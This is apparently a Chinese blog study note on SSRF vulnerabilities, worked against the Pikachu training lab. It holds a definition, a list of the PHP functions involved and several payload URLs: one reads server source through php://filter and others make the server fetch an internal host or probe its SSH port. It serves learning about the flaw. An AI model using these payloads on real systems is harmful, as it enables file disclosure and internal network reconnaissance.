【网络安全】SSRF漏洞

边缘拼命划水的小陈

已于 2023-04-24 16:06:37 修改

阅读量446

点赞数 1

分类专栏：网络安全文章标签： web安全服务器安全

于 2023-04-23 13:18:13 首次发布

本文链接：https://blog.csdn.net/qq_41158271/article/details/130316506

版权

20 篇文章 3 订阅

订阅专栏

SSRF(Server-Side Request Forgery:服务器端请求伪造)
由于服务器提供了从其他服务器获取应用数据的功能，但是又没有对目标地址做严格的过滤和限制，导致攻击者可以传入任意的地址来让后端服务对其发起请求，并返回对该目标地址请求的数据

翻译软件会使用自己的服务器访问目标服务器
在这里插入图片描述

file_get_contents()
fsockopen()
curl_exec()

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

远端服务器创建文本文件
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

http://192.168.0.106/06/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php

在这里插入图片描述

http://localhost/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://192.168.10.100/index.html

http://localhost/pikachu-master/vul/ssrf/ssrf_fgc.php?file=http://192.168.10.100:22

关注

专栏目录